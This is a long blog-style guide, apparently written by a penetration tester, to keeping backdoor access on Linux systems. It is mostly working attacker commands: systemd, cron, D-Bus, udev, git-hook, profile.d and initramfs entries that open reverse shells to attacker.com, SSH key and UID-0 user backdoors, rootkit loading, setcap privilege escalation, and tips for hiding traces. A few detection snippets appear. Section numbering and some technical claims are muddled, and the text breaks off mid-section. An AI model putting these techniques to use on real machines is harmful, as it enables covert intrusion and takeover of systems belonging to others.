Linux Persistence: Post-Exploitation Persistence Techniques

A Guide to Linux Post-Exploitation Persistence: Systemd, Cron, SSH, Udev, LKM, Capabilities, and Other Persistence Mechanisms on Linux.
- Posted on 2026-09-25
- Reading time: 23 min
Linux Persistence: How to Maintain Access After a Reboot #
Linux persistence is the set of techniques used during the post-exploitation phase to maintain access to a system even after a reboot. In a penetration test, the goal is to analyze which startup mechanisms, services, and system components can be used to achieve automatic and persistent execution.
In this guide, we analyze the main persistence mechanisms available on Linux, including systemd, cron, SSH, udev, D-Bus, kernel modules, capabilities, initramfs, and package manager . For each technique, we'll see how it works, where it's configured, and what traces it can leave on the system.
Note: The techniques are covered in an authorized penetration testing context and are also intended to help you understand how to identify and remove persistence mechanisms.
Block 1.1: Systemd Service (Persistent Daemon) #
What it is: Systemd is the init and service manager system used by many Linux distributions. During boot, systemd reads the configured drives in the system and starts the services defined within them.
A properly configured service can then run automatically at system startup, making systemd one of the most important mechanisms to know when analyzing persistence on Linux.
cat > /etc/systemd/system/monitor.service << 'EOF'
[Unit]
Description=Monitor Service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/.monitor
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable monitor
systemctl start monitorTypical error: Forget WantedBy=multi-user.targetWithout proper section configuration [Install], the service may not be enabled for automatic startup.
Block 1.2: Systemd Timers (Scheduled Execution) #
What it is: A timer is a systemd file that says "run this command at specific times" (like cron, but more modern). It requires two files: one that says WHEN, one that says WHAT.
cat > /etc/systemd/system/check.timer << 'EOF'
[Unit]
Description=Check Timer
[Timer]
OnBootSec=2min
OnUnitActiveSec=1h
Unit=check.service
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/check.service << 'EOF'
[Unit]
Description=Check Service
[Service]
Type=oneshot
User=root
ExecStart=/opt/.check
EOF
systemctl daemon-reload && systemctl enable --now check.timerTypical error: Forget the file .serviceThe timer requires an associated service.
Block 1.3: Systemd Generators (Hidden Units) #
What it is: A generator is a script that systemd runs at boot time to create configuration files on the fly (in memory, not visible to disk). It's stealthier because the unit file doesn't remain on disk.
cat > /etc/systemd/system-generators/gen-persist << 'EOF'
#!/bin/bash
mkdir -p /run/systemd/system
cat > /run/systemd/system/hidden.service << 'SVC'
[Unit]
Description=Hidden
[Service]
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
Restart=always
[Install]
WantedBy=multi-user.target
SVC
echo "hidden.service"
EOF
chmod +x /etc/systemd/system-generators/gen-persistTypical error: Generator not executable (you need to do chmod +x).
2. Cron Jobs – The Old Reliable #
What it is: Cron is a program that runs commands at specific times (every minute, every hour, every day, etc.). It runs continuously in the background and reads files where you type "run this command at 3 AM every day."
Block 2.1: Cron User (User Crontab) #
What it is: Cron for a single user. Type the command once, and cron automatically runs it at the times you specify.
# Aggiungi alla crontab dell'utente corrente
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1") | crontab -What does the line mean: */5 * * * * = every 5 minutes. The command is the one after.
Typical error: If the user types crontab -l, see the command. It's not stealth.
Block 2.2: Cron System (/etc/cron.d/) #
What it is: System Cron, accessible only to root. The files in it are executed as root, and the commands run in the background without the normal user seeing them.
echo "root */5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /etc/cron.d/update-check
chmod 644 /etc/cron.d/update-checkTypical error: Forget the field root (the first field in /etc/cron.d/ is the user). The syntax is different from user crontab.
Block 2.3: Rocke Malware – Crontab Binary Hijacking #
What's this: Rocke is a malware that hijacks the command line crontab same. When the admin types crontab -l To see the jobs, the malicious command filters the result and hides the rocke jobs.
# Backup il vero crontab
cp /usr/bin/crontab /usr/bin/crontab.real
# Sostituisci con un wrapper che nasconde i job malevoli
cat > /usr/bin/crontab << 'FAKE'
#!/bin/bash
if [[ "$@" == *"-l"* ]]; then
/usr/bin/crontab.real "$@" | grep -v "attacker.com"
exit 0
fi
/usr/bin/crontab.real "$@"
FAKE
chmod +x /usr/bin/crontab
# Aggiungi il job malevolo (invisibile quando listiamo)
/usr/bin/crontab.real << 'EOF'
* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOFTypical error: The wrapper is not executable (forget chmod +x).
Why it works: The admin types crontab -l and sees a clean crontab (the wrapper has filtered out the malicious job). But the job still runs because cron reads the file directly, not through the command crontab.
Block 2.2: /etc/cron.d/ (Root Cron, Less Visible) #
cat > /etc/cron.d/sysstat << 'EOF'
*/5 * * * * root /opt/.beacon >> /dev/null 2>&1
EOF
chmod 644 /etc/cron.d/sysstatAdvantages:
- Not in
crontab -l(it's a file, not in crontab database) - Run as root (not as user)
- Hide name:
sysstatit seems legitimate
Block 2.3: rc.local / init.d Persistence #
On systems with SysVinit (not systemd), you can add a startup script:
# rc.local viene eseguito al boot (prima di servizi utente)
# Su Ubuntu/Debian: /etc/rc.local
cat >> /etc/rc.local << 'EOF'
#!/bin/sh
/usr/local/bin/.startup-hook &
exit 0
EOF
chmod +x /etc/rc.local
# Oppure crea uno script in /etc/init.d
cat > /etc/init.d/custom-service << 'INITSCRIPT'
#!/bin/sh
### BEGIN INIT INFO
# Provides: custom-service
# Required-Start: $network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Description: Custom Service
### END INIT INFO
case "$1" in
start)
/usr/local/bin/.startup-hook &
;;
stop)
;;
esac
INITSCRIPT
chmod +x /etc/init.d/custom-service
# Registra il servizio
update-rc.d custom-service defaults
# o per RHEL: chkconfig custom-service onEffect:
/etc/rc.localIt runs at boot before any services/etc/init.dit is less visible than systemd (more careless admins)- Survives reboots
Limitation: Less reliable on modern systems (systemd). rc.local is deprecated on Ubuntu 16.04+.
Block 2.4: Anacron (If Cron Is Unreliable) #
On some laptops, cron won't run if the system is off. Anacron will run missed cron jobs at the next boot.
cat > /etc/anacrontab << 'EOF'
1 0 beacon-monitor /usr/local/bin/.beacon
EOFEffect: On boot, anacron checks whether beacon-monitor has been run. If not, it runs it. It survives irregular reboots.
3. D-Bus Service Persistence – IPC System Abuse #
What it is: D-Bus is a system that allows Linux programs to communicate with each other. If you register a fake service in D-Bus, it automatically runs as root at boot time.
Block 3.1: System-Wide D-Bus Persistence #
What's this: A file service in /usr/share/dbus-1/system-services/ which tells D-Bus “when you start, execute this command”.
cat > /usr/share/dbus-1/system-services/org.evil.persistence.service << 'EOF'
[D-BUS Service]
Name=org.evil.persistence
Exec=/usr/local/bin/.dbus-shell
User=root
EOF
cat > /usr/local/bin/.dbus-shell << 'SCRIPT'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
exit 0
SCRIPT
chmod +x /usr/local/bin/.dbus-shellTypical error: Forgetting to make the script executable (chmod +x). D-Bus cannot execute a script that does not have execute permissions.
Block 3.2: User-Level D-Bus Persistence #
What it is: D-Bus for a single user (non-root). It runs when that user logs in.
mkdir -p ~/.local/share/dbus-1/services
cat > ~/.local/share/dbus-1/services/org.user.persistence.service << 'EOF'
[D-BUS Service]
Name=org.user.persistence
Exec=/home/user/.local/bin/.session-shell
EOF
chmod +x /home/user/.local/bin/.session-shellTypical error: Use absolute path if user changes. ~ o /home/username.
4. SSH Persistence – Silent and Long-Lasting Access #
What's this: SSH is the protocol for remotely accessing a Linux system. If you put your public key in ~/.ssh/authorized_keys of the user, you can log in without a password until that key is removed.
Block 4.1: SSH Authorized Keys Injection #
What's this: Add your public key to the file authorized_keys of the victim. SSH will check the file and allow you to log in without a password.
echo "ssh-rsa AAAA...TUACHIAVE attacker@persist" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keysTypical error: Incorrect permissions. File must be 600 (readable/writable only by the owner), otherwise SSH rejects it for security reasons.
Block 4.2: SSH Config Backdoor #
What's this: Instead of putting the key in the file authorized_keys that the admin might remove, edit the SSH configuration file (/etc/ssh/sshd_config) to read from an alternate path that you control.
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/admin_key" >> /etc/ssh/sshd_config
echo "ssh-rsa AAAA...TUACHIAVE admin" > /etc/ssh/admin_key
chmod 600 /etc/ssh/admin_key
systemctl restart sshdTypical error: Forgetting to restart SSH (systemctl restart sshd). The config is not automatically reloaded.
Block 4.3: Backdoor User with UID=0 #
What's this: Create a fake user with UID=0 (root permissions). The admin who reads /etc/passwd may not notice if the name is similar to a legitimate user.
echo "admin-backup:x:0:0:root:/root:/bin/bash" >> /etc/passwd
echo "admin-backup:$(openssl passwd -1 MyPassword123)" | chpasswd -eCommon mistake: Choosing a name that's too suspicious (like "backdoor," "evil"). Use legitimate-sounding names (like "admin-backup," "system-user").
Limitation: If the admin runs cat /etc/passwd | grep ":0:" It immediately discovers that there are two users with UID=0.
5. LKM (Loadable Kernel Module) Rootkit – Kernel-Level Persistence #
An LKM is code that the kernel loads into memory during runtime. It is not hardcoded into the kernel; it can be dynamically loaded/unloaded using the command insmod (insert module).
Why is it useful for persistence? Because an LKM rootkit can:
- Hide processes: Hooking the syscall
getdents64(used byls,find) to filter processes from the output. The kernel doesn't show the process, and userspace tools don't see it. - Hide files: Hooking
stat,open,readdirto hide specific files from the filesystem. - Hide network connections: Hooking network syscalls to hide socket/port.
The survival mechanism: every time the system boots, is the rootkit still loaded? No, unless you autoload it. Solution: Add the command insmod /path/to/rootkit.ko in a startup script (systemd, rc.local, initramfs). This way, the rootkit loads itself at boot time.
Limitation: It is visible if the admin does lsmod (list of loaded modules) or view /proc/modules. More modern rootkits even hide from lsmod (hooking the file /proc/modules).
Block 5.1: LKM Rootkit Diamorphine (Working Example) #
For maximum survivability: Install a kernel module that runs invisibly in the kernel.
Concept: The Kernel is King #
Nothing in userspace (ps, netstat, ls) can see you if you're hiding in the kernel. LKM is the ultimate stealth.
Block 4.1: Simple LKM (Diamorphine Fork) #
# Diamorphine è un LKM open-source che:
# - Nasconde processi
# - Nasconde file
# - Nasconde connessioni di rete
# - Concede accesso root via ioctl
# Scarica e compila
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
# Installa
insmod diamorphine.ko
# Usa (nasconde pid 1234)
echo 1234 > /proc/diamorphineEffect: Processes not visible in ps, hidden files, hidden connections. Root access via ioctl calls.
Problem: Requires root access and compiling kernel headers. Not always possible.
Block 4.2: eBPF Rootkit (Modern, Stealthier) #
eBPF (extended Berkeley Packet Filter) is a modern technology that allows you to execute verified bytecode inside the kernel without loading an LKM module.
Advantage over LKM: eBPF is bytecode loaded via syscall bpf(), is not a .ko file. It does not appear in lsmod o /proc/modulesIt's kernel-verified (can't crash the system), so it's more stable. But it disappears on reboot (unless you reload it from a boot script).
How it works: Write an eBPF program in C that hooks a specific syscall (like open, execve). Whenever that syscall is invoked, your eBPF code runs in the kernel before the syscall is executed. You can modify the behavior (block, log, modify arguments).
Operational example: hook the syscall openWhen a process tries to open a file with the name “secret,” your eBPF returns an error (-1). The file remains inaccessible. The process only sees “permission denied”; it doesn't know there's a kernel hook blocking it.
# eBPF program (in C, compilato con clang)
#include <linux/bpf.h>
#include <linux/ptrace.h>
SEC("tracepoint/syscalls/sys_enter_open")
int trace_open(struct trace_event_raw_sys_enter *ctx) {
char filename[256];
bpf_probe_read_kernel_str(&filename, sizeof(filename), ctx->args[0]);
// Se il filename contiene "secret", nega l'accesso
if (strstr(filename, "secret")) {
return -1; // Simula errore
}
return 0;
}To load the compiled bytecode:
clang -O2 -target bpf -c hook.c -o hook.o
bpftool prog load hook.o type tracepointEffect: Blocks access to "secret" files transparently from the kernel. No userspace processes, just kernel-level. Invisible if you don't know where to look (processes only see access errors).
5. Udev Rules – Automatic Triggers on Device Events #
Udev is Linux's device manager. Whenever a device (USB, network card, external disk) is connected or detected, udev reads the configuration files in /etc/udev/rules.d/ and performs actions defined in those files.
As an attacker: if you add a udev rule that says “when device X is added, run my script,” your script automatically runs with root privileges (because udev is privileged). The trigger doesn't depend on user interaction: the system does that automatically.
Practical scenario: The system is rebooted (the network device is "reactivated" by the kernel during the boot sequence). Udev sees it, matches your rule, and executes your command. Guest.
How a rule works: A udev rule is a single line that says “if the conditions MATCH, then RUN these commands.” A rule matches when all conditions are true. ACTION=="add" means “when the device is added”. SUBSYSTEM=="net" means “the device is a network card”. If both are true, RUN+=... is performed.
cat > /etc/udev/rules.d/99-persist.rules << 'EOF'
ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/local/bin/.net-check"
EOFThis rule: whenever the kernel adds a network card (at boot, or when a USB NIC is plugged in), udev runs /usr/local/bin/.net-check come root.
Trigger scenario: System wake-up, network reconnection, USB device hotplug → autorun.
Relevance limitation: Requires system privileges to modify /etc/udev/rules.d/And if the target device is never added (example: you add a rule for a device that doesn't exist on the machine), the trigger never happens.
6. Git Hooks – Developer Machines with Repositories #
Git is a version control system used by developers. Each Git repository has a directory. .git/hooks/ where you can put scripts that run automatically in response to certain git actions (like git pull, git commit, git merge).
As an attacker on a dev machine: If you compromise the system and the developer has local git repos, you can add a hook in the .git/hooks/ of the repository. Every time the developer does git pull o git merge, your hook automatically runs with the developer's permissions.
The advantage: the developer doesn't see it easily. It does git pull, receives updates from the repo, and without it noticing, your hook runs in the background. The development workflow remains normal.
How it works: Git runs scripts in .git/hooks/ before or after certain operations. The file name determines when it runs:
post-merge: after a merge (likegit pull, which is essentiallygit fetch+git merge)post-checkout: after a branch checkoutpost-commit: after a (local) commit
# Crea hook post-merge (trigga dopo git pull/merge)
cat > .git/hooks/post-merge << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF
chmod +x .git/hooks/post-mergeMechanism: Every time he has to do it git pull, git runs the post-merge hook. The hook starts a reverse shell to your attacker box.
Limitation: It only works on dev machines that have local git repositories. And only if the developer continues to do so. git pull periodically (it is not a guaranteed execution like cron or systemd).
7. Initramfs/Bootloader Persistence – The Ultimate in Depth #
The Linux boot sequence has several stages. When you turn on your computer:
- Bootloader (GRUB/LILO) → load the kernel from disk
- Kernel → starts, mounts the root filesystem
- Initramfs → mini-filesystem that the kernel loads into memory before mounting the real root. Contains drivers and bootstrapping scripts.
- Init system (systemd/SysVinit) → manages the services
As an attacker: if you modify the bootloader or initramfs, your code runs before any other services, before the admin has a shell. You're inside the kernel, before the actual filesystem is mounted. This is the ultimate level of depth (and risk to the system).
Block 7.1: Initramfs Injection #
The initramfs is a gzip cpio file (an archive). You can extract it, add a script to it, recreate it, and replace the original. At boot, the kernel loads the modified initramfs and runs your script.
# Estrai initramfs corrente (è un archivio)
cd /tmp
mkdir initramfs
cd initramfs
zcat /boot/initrd.img-$(uname -r) | cpio -idmv
# Il file è stato decompresso. Vedi il contenuto (sono script shell normali)
ls -la
# Output: bin/, sbin/, etc/, init (script principale)
# Aggiungi il tuo script di bootstrapping
mkdir -p init.d
echo '#!/bin/sh' > init.d/99-persist.sh
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> init.d/99-persist.sh
chmod +x init.d/99-persist.sh
# Ricrea l'archivio
find . | cpio -o -H newc | gzip > /boot/initrd.img.evil
# Backup dell'originale (sempre)
cp /boot/initrd.img-$(uname -r) /boot/initrd.img-$(uname -r).bak
# Rimpiazza con la versione modificata
cp /boot/initrd.img.evil /boot/initrd.img-$(uname -r)Mechanism: At boot, the kernel loads your modified initramfs. It runs the scripts in init.d/, including yours 99-persist.shYour code runs before systemd, cron, or anything else has a chance. It's the deepest possible access into the system.
Limitation: Very risky. If you use the wrong archive, the system will be unbootable. Always test in a VM. And UEFI Secure Boot can block it if enabled.
Block 7.2: GRUB Bootloader Backdoor (Advanced) #
8. Capability-Based Persistence – Stealthier than SUID #
Block 8.0: How Linux Capabilities Work – The Concept #
Traditionally, on Unix, the privilege model is binary: either you're root (UID=0, you can do everything) or you're a normal user (UID>0, you can do almost nothing). In 1992, Linux introduced capabilities : a fragmentation of root privileges into about 40 granular units.
Each capability represents a specific privilege:
CAP_SETUID: You can callsetuid()to become any user (normally only root can do this)CAP_SYS_ADMIN: Access to a lot of administrative operations (mount, ioctl, quotactl, etc.)CAP_DAC_OVERRIDE: You can read/write files ignoring classic permissions (r/w/x bits)CAP_NET_ADMIN: Configure network interfaces, firewalls, etc.
Normally, only the root process has all the capabilities. But you can assign specific capabilities to a binary using the command setcapWhen that binary is executed, the process inherits the specific capabilities, and can do things that normally only root could do.
Block 8.1: How The Kernel Enforces Capabilities – Storage & Inheritance #
When you use setcap cap_setuid+ep /usr/bin/python3, the kernel save the capability in the filesystem as an extended attribute (xattr) of the binary file.
The attribute is called security.capability and is stored in the file's inode. When the kernel executes the binary, it reads this attribute and assigns capabilities to the process.
What is cap_setuid+ep:
cap_setuid: The specific capability+ep: Set the “Effective” and “Permitted” flags (the process can use this capability immediately)
How it persists:
- Save the capability in the track with
setcap - Each time the binary is executed, the kernel reads the xattr
security.capability - The process inherits the capability automatically
- If the binary remains on the system (survives reboots), the capability remains
Block 8.2: Why It's Invisible – Extended Attributes #
Here's the trick: extended attributes do not appear in ls -la. The command ls Shows only classic permissions (r/w/x bits and SUID bits). To see capabilities, you must use getcap:
# Assegna capability a Python
setcap cap_setuid+ep /usr/bin/python3
# ls NON mostra nulla di diverso
ls -la /usr/bin/python3
# Output: normal permissions, nothing suspicious
# Ma getcap lo vede
getcap /usr/bin/python3
# Output: /usr/bin/python3 = cap_setuid+epWhy it's an advantage for the attacker: An admin who reads ls -la /usr/bin/python3 He doesn't see anything strange. The attacker has "hidden" the privilege inside an extended attribute that ls ignore.
Contrast with SUID: If you use chmod u+s /usr/bin/python3, the output of ls -la becomes:
-rwsr-xr-x root python3La s is visible (SUID bit). Any admin reading ls you see it. Capabilities are more stealth.
Block 8.3: Exploit – How to Become Root with a Capability #
Once a capability is assigned to the binary, the process inherits the capability when the binary is executed. The attacker can use that capability to escalate.
Example with Python and CAP_SETUID:
# L'attacker assegna la capability (come root, durante il compromesso iniziale)
setcap cap_setuid+ep /usr/bin/python3
# Più tardi, un utente regolare esegue Python
# Il processo eredita CAP_SETUID automaticamente
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'What's happening:
- Regular user runs
python3 - The kernel reads the xattr
security.capabilitysu/usr/bin/python3 - The Python process inherits
CAP_SETUID - Python calls
os.setuid(0)(becomes UID=0) - Normally this fails (regular user can't do
setuid(0)) - But the process has
CAP_SETUID, then the syscall succeed - The user is now root
Block 8.4: Setcap Persistence Setup – Rocke Malware Pattern #
The attacker installs the capabilities during the initial compromise phase (when they have root). Then, when a user (even a regular user) runs the compromised binary, they become root.
Complete setup:
# Fase 1: Attacker compromette il sistema (root access via RCE, kernel exploit, etc.)
# Attacker vuole persistence che sopravviva anche se perde root access
# Installa libcap2-bin temporaneamente (il tool `setcap` proviene da qua)
apt-get install libcap2-bin
# Assegna capability a Python
setcap cap_setuid+ep /usr/bin/python3
# Rimuovi libcap2-bin per coprire tracce (il binario `setcap` scompare da /usr/bin)
apt-get remove libcap2-bin
# Adesso, anche se l'attacker perde root access, qualunque utente che esegue Python
# diventa automaticamente rootPersistence: If the track /usr/bin/python3 If the capability remains on the system (often, Python is essential), it remains. Even if the system is rebooted, the capability is saved in the filesystem's xattr.
Block 8.5: Multi-Binary Capability Chain – Redundancy #
A clever attacker doesn't use just one capability. He uses multiple binaries:
# Metti cap_setuid su Python
setcap cap_setuid+ep /usr/bin/python3
# Metti cap_setuid su Perl (linguaggio diverso, magari l'admin rimuove Python)
setcap cap_setuid+ep /usr/bin/perl
# Metti cap_dac_override su PHP (se è presente)
setcap cap_dac_override+ep /usr/bin/php
# Se l'admin scopre una e la rimuove (setcap -r /usr/bin/python3),
# le altre rimangono funzionaliThis is called “capability chain” or “multi-vector persistence”: if one path is closed, the others remain open.
Block 8.6: Detection vs. Stealth #
Blue Team Detection:
# Monitora i binari comuni per unexpected capabilities
getcap -r /usr/bin 2>/dev/null
getcap -r /usr/local/bin 2>/dev/null
getcap -r /opt 2>/dev/null
# Output sospetto: getcap ritorna capabilities su binari che non dovrebbero averle
/usr/bin/python3 = cap_setuid+ep <-- SUSPICIOUSRed Team Evasion:
- Assign capabilities to less common binaries (not Python, but a custom script in
/usr/local/bin/.helper) - Combine with other persistences (systemd service running the compromised binary)
- Put “junk capabilities” that are not needed to confuse:
setcap cap_net_admin,cap_dac_override,cap_setuid+ep /usr/bin/python3(all together they are less suspicious than alonecap_setuid)
9. Sedexp Udev Rules – Execution on Device Events #
Block 9.0: How Udev Works – The Linux Device Manager #
Udev is the kernel subsystem that manages devices (USB, disks, network cards, etc.). Whenever a device is added, removed, or its state changes, udev is responsible for:
- Create/remove device files in
/dev/ - Execute defined actions (scripts, commands) based on the device
Udev reads its rules from /etc/udev/rules.d/ (e /lib/udev/rules.d/ (for system rules). A udev rule is a single line that says: “If the device matches THESE properties, execute THIS command.”
What does “matcha” mean:
- Each rule line specifies conditions (
ACTION=="add",SUBSYSTEM=="net",ENV{MAJOR}=="1"etc.). - If ALL conditions are true for a device, the rule matches
- If it matches, the commands after
RUN+=are performed
Block 9.1: Device Properties – What You Can Match #
Every device in Linux has properties. Examples:
ACTION: “add” (device added), “remove” (removed), “change” (modified)SUBSYSTEM: Device type (“net” for network, “usb” for USB, “block” for disks, etc.)DEVNAME: Device file name (/dev/sda,/dev/eth0etc.).ENV{MAJOR},ENV{MINOR}: Major/minor numbers that uniquely identify the deviceDRIVERWhich kernel driver manages the device?
Sedexp (AON malware, 2024) exploits this to create a rule that triggers when /dev/random is “added” (at boot, the kernel loads the random number generator). /dev/random has major=1, minor=8.
Block 9.2: The RUN Command – What Gets Done #
When a rule matches, the commands after RUN+= are executed. The command:
- It is performed as root (udev is privileged)
- It is performed synchronously (udev waits for it to finish before processing the next device)
- It may fail silently or not, depending on the configuration
Block 9.3: Sedexp Real-World Pattern – AON Research (August 2024) #
Sedexp is malware discovered by AON (risk management firm, Stroz Friedberg incident response team). It uses udev rules for persistence and credit mgmt skimming.
# La regola che sedexp installa
cat > /etc/udev/rules.d/99-persist.rules << 'EOF'
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/opt/.asedexpb run"
EOFRule Breakdown:
ACTION=="add": When a device is added (first match)ENV{MAJOR}=="1": The device has major number 1 (first match)ENV{MINOR}=="8": The device has minor number 8 (first match)- Combined: This is
/dev/random(major=1, minor=8) RUN+=...: If all the above matches are true, run/opt/.asedexpb run
When triggered:
- When the system boots, the kernel loads the random number generator device.
- Udev sees it as “added”
- All matches are true (major=1, minor=8, action=add)
- The Matcha Rule
/opt/.asedexpb runruns as root, BEFORE userspace starts
Effect: The backdoor runs before any userspace services, before init, systemd, cron, etc. start. This is similar to initramfs.
Block 9.4: Why This Is Devastating – Stealth and Persistence #
- It is not a persistent process: It's not a systemd service, nor is it in crontab. It's a udev rule that fires once at boot. It doesn't persist in memory like a daemon.
- Not visible in
systemctl,crontab -l,ps: Standard tools don't reveal it. An admin monitoring the services won't see it. - Not documented in MITRE ATT&CK (as of August 2024): This technique was so rare that MITRE hadn't classified it as an official persistence procedure. Less known = less likely to be detected.
- Survives reboots: The rule is saved in
/etc/udev/rules.d/to disk. On the next boot, udev reads it and applies it again. - At boot the malware has root access: Unlike cron which runs with user permissions, the udev malware runs as root (because udev is the one running it).
Block 9.5: Evasion via Memory Obfuscation #
Sedexp goes further: hides the rule file from the udev process memory. It uses memory manipulation techniques to modify the udev process's memory at runtime, so that if an admin does strace on udev or law /proc/udev/, he doesn't see the rule.
This is advanced, but the pattern is:
- The rule is written on disk in
/etc/udev/rules.d/ - Udev the law at boot
- Sedexp hijacks udev memory and hides the rule
- The file remains on disk (you can find it with
cat /etc/udev/rules.d/), but the udev process does not show that it has loaded it
Block 9.6: Operational Setup #
As an attacker, simple setup:
# Crea la regola
cat > /etc/udev/rules.d/99-custom.rules << 'EOF'
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/usr/local/bin/.beacon start"
EOF
# Oppure, un device diverso (es: USB)
cat >> /etc/udev/rules.d/99-custom.rules << 'EOF'
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/local/bin/.beacon usb"
EOF
# Trigger manuale (di solito non necessario, il boot triggera)
udevadm control --reload
udevadm triggerPersistence:
- The rule remains on disk in the filesystem
- On the next boot, udev will automatically read it
- Survives kernel panic, shutdown, reboot
- It remains until it is manually deleted (
rm /etc/udev/rules.d/99-custom.rules)
10. /etc/profile.d Shell Configuration Injection – Execution at Login #
Block 10.0: How the Shell Login Sequence Works – /etc/profile and /etc/profile.d #
When a user logs in to Linux (via SSH, console, or otherwise), the shell (bash, sh, zsh, etc.) must initialize. Before providing a prompt, the shell runs a series of configuration scripts.
The complete flow (for a bash login shell):
- Kernel authenticates the user (password/key)
- Kernel starts
/bin/bash -lfor the user (shell login) - Bash reads
/etc/profile(if any) – system script for ALL users - Bash reads all files in
/etc/profile.d/(if directory exists) – system script, pattern name*.sh - Bash reads
~/.bash_profile(if it exists) – user's personal script - Only after that all these scripts are executed, bash gives the prompt to the user
Timing: These scripts run BEFORE the user has an interactive shell. Everything you put in these scripts runs automatically; the user only sees the prompt afterwards.
Block 10.1: How the Attacker Exploits This #
As an attacker, if you compromise the system (even as a regular user), you can add a script in /etc/profile.d/. Every time that anyone who logs in (admin, root, other users), your script is executed with that user's permissions.
Scenario:
- Attacker compromises the system as a regular user (wwwweb, nginx, etc.)
- Attacker adds a file in
/etc/profile.d/(readable by all, writable by attacker) - Admin logs in via SSH
- Bash loads the attacker file from
/etc/profile.d/ - The attacker script runs as root (with admin permissions)
This is devastating because:
- Admin has permissions to write in
/etc/profile.d/Yes, but often doesn't monitor what's there - The script is executed with the permissions of the logging in user, not with attacker permissions
- If root logs in, the script runs as root
Block 10.2: How to /etc/profile.d/ It Works In Detail
#
The file /etc/profile contains a line that tells bash:
# Carica tutti i .sh file da /etc/profile.d/
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r "$i" ]; then
. "$i" # Esegui il file
fi
done
fiThe . "$i" means “source the file” – execute the contents of the file as if it were typed from the shell.
Implication: Any file .sh that an attacker puts in /etc/profile.d/ is automatically sourced and executed for every login of every user.
Block 10.3: The Relevance of Persistence #
PANIX malware (Elastic research 2024) uses this vector. The script remains in /etc/profile.d/, then:
- Survives reboots (file is on disk)
- It is not a persistent process (it does not remain in memory)
- It is executed every time any user logs in
If an admin logs in once a week, the script runs once a week. If no one logs in, it doesn't run until someone logs in.
Block 10.4: Operational Setup #
As an attacker:
# Crea uno script che sembra legittimo
cat > /etc/profile.d/10-system-updates.sh << 'EOF'
#!/bin/bash
# Sistema di update (sembra legittimo, in realtà è backdoor)
# Esegui il backdoor in background (il & fa in modo che non blocchi il login)
/usr/local/bin/.checker &
# Opzionale: Connessione reverse shell
# bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF
chmod 644 /etc/profile.d/10-system-updates.shNaming: Use a system-sounding name (10-, 20-, numbering like real scripts). System scripts often begin with numbers.
Block 10.5: User-Level Variant – ~/.bashrc / ~/.bash_profile #
An attacker who has access to a specific user can modify the file .bashrc o .bash_profile of the user:
# Se sei compromesso come user "bob"
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> ~/.bashrc
# Ogni volta che bob fa login o apre una shell, il backdoor viene eseguitoDifference from /etc/profile.d:
/etc/profile.dIt's a system issue and affects all users.~/.bashrcIt's for a specific user, less visible if the attacker is already that user
Limiting persistence: If the attacker is not root, he cannot put files in /etc/profile.d (require root). Can only modify its own ~/.bashrc (or other users if they have access).
Block 10.6: Detection vs. Stealth #
Blue Team:
# Monitora /etc/profile.d per file sospetti
ls -la /etc/profile.d/
# Leggi il contenuto (spesso ci sono script di sistema legittimi)
cat /etc/profile.d/*
# Monitoring: usa file integrity monitoring (FIM) per alertare su file nuovi in /etc/profile.d
aide --checkRed Team Evasion:
- Use harmless name (
20-system-check.sh,10-language-setting.sh) - Comments on the file to make it look legitimate
- Put the backdoor in the background (with
&) to avoid blocking login - Combine with other vectors (if one is discovered, the others remain)
11. At Command Scheduling – Timed Job Execution #
Block 11.0: The Command at And How It Works – One-Time Scheduling
#
The command at is a job scheduler for Linux. Unlike cron (which performs jobs recurring at regular intervals), at executes a job once at a specific time.
How does it work:
- User types
echo "comando" | at 14:30(execute “command” at 14:30 PM today) - The kernel writes the job in
/var/spool/at/(scheduled jobs directory) - A daemon called
atd(at daemon) stays on and monitors this directory - When the time comes (2.30pm),
atdexecute the command - After execution, the job is removed from the spool.
Difference from cron:
cron: Perform “every day at 14:30 pm” (recurring)at: Run “today at 14:30 pm” (once)
Block 11.1: Why an Attacker Would Use at Instead of Cron
#
- Less obvious: Few admins control
atq(list at jobs) during incident response. They check cron, but forget at. - Specific timing: If the attacker knows that admin will be away on Monday, they schedule the malware for Monday evening. Silently.
- No repeating pattern: Cron leaves traces of recurring execution (multiple runs in the log). At does not leave this pattern visible.
- Deniable: “Oh, that at-job? Someone scheduled it by mistake. It's just a job. It's not persistence.”
Block 11.2: How Jobs Are Saved – The Spool Directory #
Each job at is saved as a file in /var/spool/at/:
ls -la /var/spool/at/
# Output:
# -rw------- 1 root root 123 Jun 21 14:30 a123456789.example
# -rw------- 1 user user 456 Jun 21 15:00 a123456790.exampleThe file name is the timestamp when the job should run (unixtime). The contents of the file are the script to run.
# Leggi il contenuto di un at job
cat /var/spool/at/a123456789.example
# Output:
#!/bin/sh
bash -i >& /dev/tcp/attacker.com/4444 0>&1Implication: If you delete the job from the spool directory, it disappears. But if the attacker puts the file back, atd he's rescheduling it.
Block 11.3: Operational Setup – Scheduling a Job #
As an attacker:
# Schedula un comando per un orario specifico
echo "/usr/local/bin/.beacon start" | at 22:30
# Oppure con delay relativo (tra 1 ora)
